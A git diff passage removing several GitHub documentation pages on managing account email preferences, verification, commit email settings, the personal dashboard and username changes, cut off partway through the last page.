--- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/changing-your-primary-email-address.md
+++ /dev/null
@@ -1,34 +0,0 @@
----
-title: Changing your primary email address
-intro: To change your primary email address, you'll add a new email, then delete the old one.
-redirect_from:
- - /articles/changing-your-primary-email-address
- - /github/setting-up-and-managing-your-github-user-account/changing-your-primary-email-address
- - /github/setting-up-and-managing-your-github-user-account/managing-email-preferences/changing-your-primary-email-address
- - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/changing-your-primary-email-address
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Accounts
- - Notifications
-shortTitle: Primary email address
----
-
-You can change the email address associated with your personal account at any time. You cannot change your primary email address to an email that is already set to be your backup email address.
-
-{% ifversion ghec %}
-
->[!NOTE] This article **does not apply** to {% data variables.enterprise.prodname_managed_users %}. To change your email address as a {% data variables.enterprise.prodname_managed_user %}, contact the administrator for your company's identity provider (IdP). Your primary email address is the first one assigned to you in the IdP.
-
-{% endif %}
-
-{% data reusables.user-settings.access_settings %}
-{% data reusables.user-settings.emails %}
-1. If you'd like to add a new email address to set as your primary email address, under "Add email address", type a new email address and click **Add**.
-1. Under "Primary email address", use the drop-down menu to click the email address you'd like to set as your primary email address, and click **Save**.
-1. To remove the old email address from your account, next to the old email, click {% octicon "trash" aria-label="The trash symbol" %}.
-{% ifversion fpt or ghec %}
-1. Verify your new primary email address. Without a verified email address, you won't be able to use all of {% data variables.product.github %}'s features. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/verifying-your-email-address).
-{% endif %}
diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/index.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/index.md
deleted file mode 100644
index d01bf1dec755..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/index.md
+++ /dev/null
@@ -1,27 +0,0 @@
----
-title: Managing email preferences
-intro: 'You can add or change the email addresses associated with your account. You can also manage emails you receive from {% data variables.product.github %}.'
-redirect_from:
- - /categories/managing-email-preferences
- - /articles/managing-email-preferences
- - /github/setting-up-and-managing-your-github-user-account/managing-email-preferences
- - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Accounts
- - Notifications
-children:
- - /adding-an-email-address-to-your-github-account
- - /changing-your-primary-email-address
- - /verifying-your-email-address
- - /setting-a-backup-email-address
- - /setting-your-commit-email-address
- - /blocking-command-line-pushes-that-expose-your-personal-email-address
- - /remembering-your-github-username-or-email
- - /types-of-emails-github-sends
- - /managing-marketing-emails-from-github
-shortTitle: Manage email preferences
----
diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/managing-marketing-emails-from-github.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/managing-marketing-emails-from-github.md
deleted file mode 100644
index e9a4017064ba..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/managing-marketing-emails-from-github.md
+++ /dev/null
@@ -1,45 +0,0 @@
----
-title: Managing marketing emails from GitHub
-intro: 'In addition to notifications and account emails, {% data variables.product.prodname_dotcom %} occasionally sends marketing emails with news and information about our products. If you unsubscribe from existing marketing emails, you won''t be included in future campaigns unless you change your {% data variables.product.prodname_dotcom %} email settings.'
-redirect_from:
- - /articles/managing-marketing-emails-from-github
- - /github/setting-up-and-managing-your-github-user-account/managing-marketing-emails-from-github
- - /github/setting-up-and-managing-your-github-user-account/managing-email-preferences/managing-marketing-emails-from-github
- - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/managing-marketing-emails-from-github
-versions:
- fpt: '*'
- ghec: '*'
-topics:
- - Accounts
- - Notifications
-shortTitle: Marketing emails
----
-
-## About {% data variables.product.prodname_dotcom %} marketing emails
-
-{% data reusables.accounts.marketing-emails %}
-
-## Managing {% data variables.product.prodname_dotcom %} marketing emails
-
-If you have subscribed to {% data variables.product.prodname_dotcom %} marketing emails, you can choose which types of topics you still want to be informed about, and which topics you no longer want to receive updates on.
-
-{% data reusables.user-settings.access_settings %}
-{% data reusables.user-settings.emails %}
-{% data reusables.user-settings.email-preferences %}
-1. To stop receiving emails for a particular topic, deselect the checkbox next to that topic.
-1. Click **Save subscription preferences**.
-
-## Unsubscribing from {% data variables.product.prodname_dotcom %} marketing emails
-
-You can choose to unsubscribe from all {% data variables.product.prodname_dotcom %} marketing emails.
-
-{% data reusables.user-settings.access_settings %}
-{% data reusables.user-settings.emails %}
-{% data reusables.user-settings.email-preferences %}
-1. Select **Unsubscribe from all topics**.
-1. Click **Save subscription preferences**.
-
-## Further reading
-
-* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/types-of-emails-github-sends)
-* [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications)
diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/remembering-your-github-username-or-email.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/remembering-your-github-username-or-email.md
deleted file mode 100644
index fca0214c2b0f..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/remembering-your-github-username-or-email.md
+++ /dev/null
@@ -1,74 +0,0 @@
----
-title: Remembering your GitHub username or email
-intro: 'Are you signing in for the first time in a while? If so, welcome back! If you can''t remember the username for your personal account, you can try these methods for remembering it.'
-redirect_from:
- - /articles/oh-noes-i-ve-forgotten-my-username-email
- - /articles/oh-noes-i-ve-forgotten-my-username-or-email
- - /articles/remembering-your-github-username-or-email
- - /github/setting-up-and-managing-your-github-user-account/remembering-your-github-username-or-email
- - /github/setting-up-and-managing-your-github-user-account/managing-email-preferences/remembering-your-github-username-or-email
- - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/remembering-your-github-username-or-email
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Accounts
- - Notifications
-shortTitle: Find your username or email
----
-
-
-## {% data variables.product.prodname_desktop %} users
-
-{% mac %}
-
-1. In the **GitHub Desktop** menu, click **Preferences**.
-1. In the Preferences window, verify the following:
- * To view your {% data variables.product.github %} username, click **Accounts**.
- * To view your Git email, click **Git**. Note that this email is not guaranteed to be [your primary email](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/changing-your-primary-email-address).
-
-{% endmac %}
-
-{% windows %}
-
-1. In the **File** menu, click **Options**.
-1. In the Options window, verify the following:
- * To view your {% data variables.product.github %} username, click **Accounts**.
- * To view your Git email, click **Git**. Note that this email is not guaranteed to be [your primary email](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/changing-your-primary-email-address).
-
-{% endwindows %}
-
-## Finding your username in your `user.name` configuration
-
-During set up, you may have [set your username in Git](/get-started/git-basics/setting-your-username-in-git). If so, you can review the value of this configuration setting:
-
-```shell
-$ git config user.name
-# View the setting
-YOUR-USERNAME
-```
-
-## Finding your username in the URL of remote repositories
-
-If you have any local copies of personal repositories you have created or forked, you can check the URL of the remote repository.
-
-> [!TIP]
-> This method only works if you have an original repository or your own fork of someone else's repository. If you clone someone else's repository, their username will show instead of yours. Similarly, organization repositories will show the name of the organization instead of a particular user in the remote URL.
-
-```shell
-$ cd YOUR-REPOSITORY
-# Change directories to the initialized Git repository
-$ git remote -v
-origin https://{% data variables.product.product_url %}/YOUR-USERNAME/YOUR-REPOSITORY.git (fetch)
-origin https://{% data variables.product.product_url %}/YOUR-USERNAME/YOUR-REPOSITORY.git (push)
-```
-
-Your username is what immediately follows the `https://{% data variables.product.product_url %}/`.
-
-{% ifversion fpt or ghec %}
-
-## Further reading
-
-* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/verifying-your-email-address)
-{% endif %}
diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-a-backup-email-address.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-a-backup-email-address.md
deleted file mode 100644
index 6a86b6913623..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-a-backup-email-address.md
+++ /dev/null
@@ -1,26 +0,0 @@
----
-title: Setting a backup email address
-intro: 'Use a backup email address as an additional destination for security-relevant account notifications and to securely reset your password if you can no longer access your primary email address.'
-redirect_from:
- - /articles/setting-a-backup-email-address
- - /github/setting-up-and-managing-your-github-user-account/setting-a-backup-email-address
- - /github/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-a-backup-email-address
- - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-a-backup-email-address
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Accounts
- - Notifications
-shortTitle: Set backup email address
----
-{% data reusables.user-settings.access_settings %}
-{% data reusables.user-settings.emails %}
-1. Under "Backup email address," use the dropdown menu to select the address you want to set as your backup email address.
-1. Click **Save**.
-
-## Further reading
-
-* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences)
-* [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials)
diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address.md
deleted file mode 100644
index 0c5487cbfcd6..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address.md
+++ /dev/null
@@ -1,110 +0,0 @@
----
-title: Setting your commit email address
-intro: 'You can set the email address that is used to author commits on {% data variables.product.github %} and on your computer.'
-redirect_from:
- - /articles/keeping-your-email-address-private
- - /articles/setting-your-commit-email-address-on-github
- - /articles/about-commit-email-addresses
- - /articles/git-email-settings
- - /articles/setting-your-email-in-git
- - /articles/set-your-user-name-email-and-github-token
- - /articles/setting-your-commit-email-address-in-git
- - /articles/setting-your-commit-email-address
- - /github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address
- - /github/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-your-commit-email-address
- - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-your-commit-email-address
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Accounts
- - Notifications
-shortTitle: Set commit email address
----
-## About commit email addresses
-
-{% data variables.product.github %} uses your commit email address to associate commits with your account on {% data variables.product.github %}. You can choose the email address that will be associated with the commits you push from the command line as well as web-based Git operations you make.
-
-For web-based Git operations, you can set your commit email address on {% data variables.product.github %}. For commits you push from the command line, you can set your commit email address in Git.
-
-{% ifversion fpt or ghec %}Any commits you made prior to changing your commit email address are still associated with your previous email address.{% else %}After changing your commit email address on {% data variables.product.github %}, the new email address will be visible in all of your future web-based Git operations by default. Any commits you made prior to changing your commit email address are still associated with your previous email address.{% endif %}
-
-{% ifversion fpt or ghec %}
-
-> [!NOTE]
-> {% data reusables.user-settings.no-verification-disposable-emails %}
-
-{% endif %}
-
-{% ifversion fpt or ghec %}To use your `noreply` email address for commits you push from the command line, use that email address when you set your commit email address in Git. To use your `noreply` address for web-based Git operations, set your commit email address on GitHub and choose to **Keep my email address private**.
-
-You can also choose to block commits you push from the command line that expose your personal email address. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/blocking-command-line-pushes-that-expose-your-personal-email-address).{% endif %}
-
-To ensure that commits are attributed to you and appear in your contributions graph, use an email address that is connected to your account on {% data variables.product.github %}{% ifversion fpt or ghec %}, or the `noreply` email address provided to you in your email settings{% endif %}. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/adding-an-email-address-to-your-github-account).
-
-{% ifversion fpt or ghec %}
-
-
-
-> [!NOTE]
-> If you created your account _after_ July 18, 2017, your `noreply` email address is an ID number and your username in the form of ID+USERNAME@users.noreply.github.com. If you created your account _prior to_ July 18, 2017, and enabled **Keep my email address private** prior to that date, your `noreply` email address is USERNAME@users.noreply.github.com. You can get an ID-based `noreply` email address by selecting (or deselecting and reselecting) **Keep my email address private** in your email settings.
-
-If you use your `noreply` email address for {% data variables.product.github %} to make commits and then change your username, those commits will not be associated with your account. This does not apply if you're using the ID-based `noreply` address from {% data variables.product.github %}. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/changing-your-github-username).{% endif %}
-
-## Setting your commit email address on {% data variables.product.github %}
-
-{% data reusables.files.commit-author-email-options %}
-
-{% data reusables.user-settings.access_settings %}
-{% data reusables.user-settings.emails %}
-{% data reusables.user-settings.add_and_verify_email %}
-{% data reusables.user-settings.select_primary_email %}{% ifversion fpt or ghec %}
-{% data reusables.user-settings.keeping_your_email_address_private %}{% endif %}
-
-## Setting your commit email address in Git
-
-You can use the `git config` command to change the email address you associate with your Git commits. The new email address you set will be visible in any future commits you push to {% data variables.product.github %} from the command line. Any commits you made prior to changing your commit email address are still associated with your previous email address.
-
-### Setting your email address for every repository on your computer
-
-{% data reusables.command_line.open_the_multi_os_terminal %}
-
-1. {% data reusables.user-settings.set_your_email_address_in_git %}
-
- ```shell
- git config --global user.email "YOUR_EMAIL"
- ```
-
-1. {% data reusables.user-settings.confirm_git_email_address_correct %}
-
- ```shell
- $ git config --global user.email
- email@example.com
- ```
-
-1. {% data reusables.user-settings.link_email_with_your_account %}
-
-### Setting your email address for a single repository
-
-{% data variables.product.github %} uses the email address set in your local Git configuration to associate commits pushed from the command line with your account on {% data variables.product.github %}.
-
-You can change the email address associated with commits you make in a single repository. This will override your global Git configuration settings in this one repository, but will not affect any other repositories.
-
-{% data reusables.command_line.open_the_multi_os_terminal %}
-
-1. Change the current working directory to the local repository where you want to configure the email address that you associate with your Git commits.
-1. {% data reusables.user-settings.set_your_email_address_in_git %}
-
- ```shell
- git config user.email "YOUR_EMAIL"
- ```
-
-1. {% data reusables.user-settings.confirm_git_email_address_correct %}
-
- ```shell
- $ git config user.email
- email@example.com
- ```
-
-1. {% data reusables.user-settings.link_email_with_your_account %}
diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/types-of-emails-github-sends.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/types-of-emails-github-sends.md
deleted file mode 100644
index aa6ac48b4c2f..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/types-of-emails-github-sends.md
+++ /dev/null
@@ -1,50 +0,0 @@
----
-title: Types of emails GitHub sends
-intro: 'There are several types of emails you can receive from {% data variables.product.github %}, including notifications, account information, customer research invitations, and marketing communications.'
-redirect_from:
- - /articles/types-of-emails-github-sends
- - /github/setting-up-and-managing-your-github-user-account/types-of-emails-github-sends
- - /github/setting-up-and-managing-your-github-user-account/managing-email-preferences/types-of-emails-github-sends
- - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/types-of-emails-github-sends
-versions:
- fpt: '*'
- ghec: '*'
-topics:
- - Accounts
- - Notifications
-shortTitle: Emails from GitHub
----
-## Notification emails
-
-You can choose to receive some or all of your activity notifications via email. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications). Notification emails can include:
-
-* Security-related activity on repositories you have admin access to
-* Activity on repositories you're watching
-* Conversations you're participating in
-* Conversations where you've been @mentioned
-* Pushes to pull requests you're participating in
-* Invitations to collaborate in an organization or repository
-* Your own activity, such as opening, commenting on, or closing issues and pull requests
-
-You can also choose which type of email updates you'd like to receive on conversations you're participating in or watching. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications).
-
-## Account emails
-
-If you've upgraded to paid products or features, then you'll receive billing receipts at the account's primary email address. For more information, see [AUTOTITLE](/billing/managing-your-github-billing-settings/setting-your-billing-email).
-
-## Customer research emails
-
-{% data variables.product.company_short %} occasionally seeks customers to participate in research sessions to help us build a better GitHub. These are conducted remotely, open to customers worldwide, and may include:
-
-* Feedback surveys
-* Research interviews
-* Usability testing sessions
-* Previewing early prototypes or concepts
-
-These emails are infrequent and you can choose whether or not to participate. If you're interested in additional opportunities to participate in research sessions, you may add yourself to the GitHub Customer Research Panel. For more information, see [GitHub Customer Experience Research](https://cxr.github.com).
-
-## Marketing emails
-
-{% data reusables.accounts.marketing-emails %}
-
-For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/managing-marketing-emails-from-github).
diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/verifying-your-email-address.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/verifying-your-email-address.md
deleted file mode 100644
index 174f310914d3..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/verifying-your-email-address.md
+++ /dev/null
@@ -1,93 +0,0 @@
----
-title: Verifying your email address
-intro: 'Verifying your primary email address ensures strengthened security, allows {% data variables.product.prodname_dotcom %} staff to better assist you if you forget your password, and gives you access to more features on {% data variables.product.prodname_dotcom %}.'
-redirect_from:
- - /articles/troubleshooting-email-verification
- - /articles/setting-up-email-verification
- - /articles/verifying-your-email-address
- - /github/getting-started-with-github/verifying-your-email-address
- - /github/getting-started-with-github/signing-up-for-github/verifying-your-email-address
- - /get-started/signing-up-for-github/verifying-your-email-address
-versions:
- fpt: '*'
- ghec: '*'
-topics:
- - Accounts
-shortTitle: Verify your email address
----
-
-## About email verification for personal accounts
-
-You can verify your email address after signing up for a new account, or when you add a new email address. If an email address is undeliverable or bouncing, it will be unverified.
-
-If you do not verify your email address, you will not be able to:
-* Create or fork repositories
-* Create issues or pull requests
-* Comment on issues, pull requests, or commits
-* Authorize {% data variables.product.prodname_oauth_app %} applications
-* Generate {% data variables.product.pat_generic %}s
-* Receive email notifications
-* Star repositories
-* Create or update projects
-* Create or update gists
-* Create or use {% data variables.product.prodname_actions %}
-* Sponsor developers with {% data variables.product.prodname_sponsors %}
-* Accept organization invitations
-
-> [!WARNING]
-> * {% data reusables.user-settings.no-verification-disposable-emails %}
-> * {% data reusables.user-settings.verify-org-approved-email-domain %}
-
-## About email verification for {% data variables.enterprise.prodname_managed_users %}
-
-For Enterprise Managed Users (EMUs), email addresses are no longer automatically verified. This prevents unauthorized access and potential data leaks from third-party {% data variables.product.prodname_github_apps %} and OAuth applications that rely on email addresses as a primary identifier.
-
->[!NOTE] If you are a member of an {% data variables.enterprise.prodname_emu_enterprise %} and your account was created after August 1st, 2024, your email address is unverified by default.
-
-Having an unverified email address does not affect most actions you can take on {% data variables.product.prodname_dotcom %}. However, we **recommend email verification** to prevent potential exploitation of third-party {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %} which may not have followed our best practices around secure authentication methods for apps (see [AUTOTITLE](/apps/oauth-apps/building-oauth-apps/best-practices-for-creating-an-oauth-app) and [AUTOTITLE](/apps/creating-github-apps/about-creating-github-apps/best-practices-for-creating-a-github-app)).
-
-Until you verify your email address, your account will use a placeholder email address with your enterprise's shortcode appended for certain operations. For example, the [AUTOTITLE](/rest/users/users) and [AUTOTITLE](/rest/users/emails) will return `email+shortcode@domain.com`. In rare cases, you may find that your company's email provider does not handle the placeholder email correctly, or that the placeholder prevents you from accessing some third-party {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %}.
-
-You cannot verify an email address for your {% data variables.enterprise.prodname_managed_user %} if the email address is already verified by another account on {% data variables.product.prodname_dotcom_the_website %}. To verify the email, you will need to unverify the email address on the conflicting account, then verify it for your {% data variables.enterprise.prodname_managed_user %}. See [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/changing-your-primary-email-address).
-
-Once you verify an email with a {% data variables.enterprise.prodname_managed_user %}, you won't be able to use the email to sign up for a personal account on {% data variables.product.prodname_dotcom_the_website %}.
-
->[!NOTE] If you need to use the same email address for both your {% data variables.enterprise.prodname_managed_user %} and another {% data variables.product.github %} account (for example, for innersource, open source, or other valid use cases), you must sign in to your managed user account and unverify the email in your account settings.
->
-> The email will still be linked to your managed user account, so you can continue signing in through your organization's or enterprise's identity provider (IdP). However, because the email is unverified, it may affect your access to third-party applications that identify users based solely on email address.
-
-## Verifying your email address
-
-{% data reusables.user-settings.access_settings %}
-{% data reusables.user-settings.emails %}
-1. Under your email address, click **Resend verification email**.
-
- 
-1. {% data variables.product.prodname_dotcom %} will send you an email with a link in it. After you click that link, you'll be taken to your {% data variables.product.prodname_dotcom %} dashboard and see a confirmation banner.
-
-## Troubleshooting email verification
-
-### Unable to send verification email
-
-{% data reusables.user-settings.no-verification-disposable-emails %}
-
-### Error page after clicking verification link
-
-The verification link expires after 24 hours. If you don't verify your email within 24 hours, you can request another email verification link. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/verifying-your-email-address#verifying-your-email-address).
-
-If you click on the link in the confirmation email within 24 hours and you are directed to an error page, you should ensure that you're signed into the correct account on {% data variables.product.github %}.
-
-1. Sign out of your account.
-1. Quit and restart your browser.
-1. Sign in to your account.
-1. Click on the verification link in the email we sent you.
-
-### Email is already verified by another user
-
-If you see the error message `Error adding EMAIL: Email is already verified by another user`, you must either unverify the email for the other account before proceeding, or choose a different email address to verify.
-
-To unverify an email address, delete it in your email settings, then optionally re-add it without verifying to keep any commits linked to your account. See [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/changing-your-primary-email-address).
-
-## Further reading
-
-* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/changing-your-primary-email-address)
diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/about-available-for-hire.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/about-available-for-hire.md
deleted file mode 100644
index 4f2ed182f0bc..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/about-available-for-hire.md
+++ /dev/null
@@ -1,23 +0,0 @@
----
-title: About 'Available for hire'
-intro: When you select **Available for hire**, you indicate that you're open to job opportunities.
-redirect_from:
- - /articles/what-does-the-available-for-hire-checkbox-do
- - /github/setting-up-and-managing-your-github-user-account/what-does-the-available-for-hire-checkbox-do
- - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/what-does-the-available-for-hire-checkbox-do
- - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/what-does-the-available-for-hire-checkbox-do
- - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/what-does-the-available-for-hire-checkbox-do
- - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/what-does-the-available-for-hire-checkbox-do
-versions:
- fpt: '*'
- ghec: '*'
-topics:
- - Accounts
-shortTitle: Available for hire
----
-
-When you select **Available for hire** and someone uses the REST API to get public and private information about authenticated users, the `hireable` field returns `true`. For more information, see [AUTOTITLE](/rest/users/users) in the REST API documentation.
-
-{% data reusables.user-settings.access_settings %}
-
-1. Under Jobs Profile, select **Available for hire**, then click **Save jobs profile**.
diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/about-your-personal-dashboard.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/about-your-personal-dashboard.md
deleted file mode 100644
index bf6180a8a0ce..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/about-your-personal-dashboard.md
+++ /dev/null
@@ -1,103 +0,0 @@
----
-title: About your personal dashboard
-redirect_from:
- - /hidden/about-improved-navigation-to-commonly-accessed-pages-on-github
- - /articles/opting-into-the-public-beta-for-a-new-dashboard
- - /articles/about-your-personal-dashboard
- - /github/setting-up-and-managing-your-github-user-account/about-your-personal-dashboard
- - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard
- - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard
- - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/about-your-personal-dashboard
-intro: 'You can visit your personal dashboard to keep track of issues and pull requests you''re working on or following, navigate to your top repositories and team pages, stay updated on recent activities in organizations and repositories you''re subscribed to, and explore recommended repositories.'
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Accounts
-shortTitle: Your personal dashboard
----
-
-## Accessing your personal dashboard
-
-Your personal dashboard is the first page you'll see when you sign in on {% data variables.product.github %}.
-
-To access your personal dashboard once you're signed in, click the {% octicon "mark-github" aria-label="The github octocat logo" %} in the upper-left corner of any page.
-
-## Finding your recent activity
-
-In the "Recent activity" section of your news feed, you can quickly find and follow up with recently updated issues and pull requests you're working on. Under "Recent activity", you can preview up to 4 recent updates made in the last two weeks.
-
-{% data reusables.dashboard.recent-activity-qualifying-events %}
-
-## Finding your top repositories and teams
-
-In the global navigation menu, you can access the top repositories and teams you use. To open the menu, select {% octicon "three-bars" aria-label="Open global navigation menu" %} at the top left of any page.
-
- 
-
-The list of top repositories is automatically generated, and can include any repository you have interacted with, whether it's owned directly by your account or not. Interactions include making commits and opening or commenting on issues and pull requests. The list of top repositories cannot be edited, but repositories will drop off the list 1 year after you last interacted with them.
-
-You can also find a list of your recently visited repositories, teams, and projects when you click into the search bar at the top of any page on {% data variables.product.github %}.
-
-## Staying updated with activity from the community
-
-{% ifversion feed %}
-
-> [!NOTE]
-> The new feed is currently in {% data variables.release-phases.public_preview %} and subject to change.
-
-The feed is designed to help you discover relevant content from projects you follow, keep up with your friends and community members, and track recent activity in your communities.
-
-You can use the **{% octicon "filter" aria-hidden="true" %} Filter** dropdown in the upper right corner to filter the feed to show only the exact event types you'd like to see. For example, you'll see updates when someone you follow:
-
-* Stars a repository
-* Follows another user
-* Creates a public repository
-* Opens an issue or pull request with `help wanted` or `good first issue` label on a repository you're watching
-* Pushes commits to a repository you watch
-* Forks a public repository
-* Publishes a new release
-
-{% else %}
-The main section of your dashboard has two activity feeds:
-
-* Following: Activity by people you follow and from repositories you watch.
-* For you: Activity and recommendations based on your {% data variables.product.github %} network.
-
-### Following feed
-
-This feed shows activity from repositories and users you have shown a direct interest in, by following a user or watching a repository. For example, you'll see updates when a user you follow:
-
-* Stars a repository.
-* Follows another user.
-* Creates a public repository.
-* Opens an issue or pull request with "help wanted" or "good first issue" label on a repository you're watching.
-* Pushes commits to a repository you watch.
-* Forks a public repository.
-* Publishes a new release.
-
-For more information about following people and starring repositories, see [AUTOTITLE](/get-started/exploring-projects-on-github/following-people) and [AUTOTITLE](/get-started/exploring-projects-on-github/saving-repositories-with-stars).
-
-### For you feed
-
-> [!NOTE]
-> This new tab is currently in {% data variables.release-phases.public_preview %} and subject to change.
-
-This feed shows activity and recommendations based on your network on {% data variables.product.github %}. It's designed to provide updates that inspire you, keep you up-to-date, and help you find new communities you want to participate in. Your network includes:
-
-* Repositories you have starred
-* Repositories you've contributed to
-* Users you follow or sponsor
-* Users you've collaborated with
-* Organizations you follow
-
-{% endif %}
-
-## Exploring recommended repositories
-
-In the "Explore repositories" section on the right side of your dashboard, you can explore recommended repositories in your communities. Recommendations are based on repositories you've starred or visited, the people you follow, and activity within repositories that you have access to.{% ifversion fpt or ghec %} For more information, see [AUTOTITLE](/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github).{% endif %}
-
-## Further reading
-
-* [AUTOTITLE](/organizations/collaborating-with-groups-in-organizations/about-your-organization-dashboard)
diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/changing-your-github-username.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/changing-your-github-username.md
deleted file mode 100644
index ea05e310684c..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/changing-your-github-username.md
+++ /dev/null
@@ -1,114 +0,0 @@
----
-title: Changing your GitHub username
-intro: 'You can change the username for your account on {% data variables.product.prodname_dotcom %}{% ifversion ghes %} if your instance uses built-in authentication{% endif %}.'
-redirect_from:
- - /articles/how-to-change-your-username
- - /articles/changing-your-github-user-name
- - /articles/renaming-a-user
- - /articles/what-happens-when-i-change-my-username
- - /articles/changing-your-github-username
- - /github/setting-up-and-managing-your-github-user-account/changing-your-github-username
- - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/changing-your-github-username
- - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/changing-your-github-username
- - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/changing-your-github-username
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Accounts
-shortTitle: Change your username
----
-
-{% ifversion ghec or ghes %}
-
-{% ifversion ghec %}
-
-> [!NOTE]
-> Members of an {% data variables.enterprise.prodname_emu_enterprise %} cannot change usernames. Your enterprise's IdP administrator controls your {% data variables.product.github %} username. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users).
-
-{% elsif ghes %}
-
-> [!NOTE]
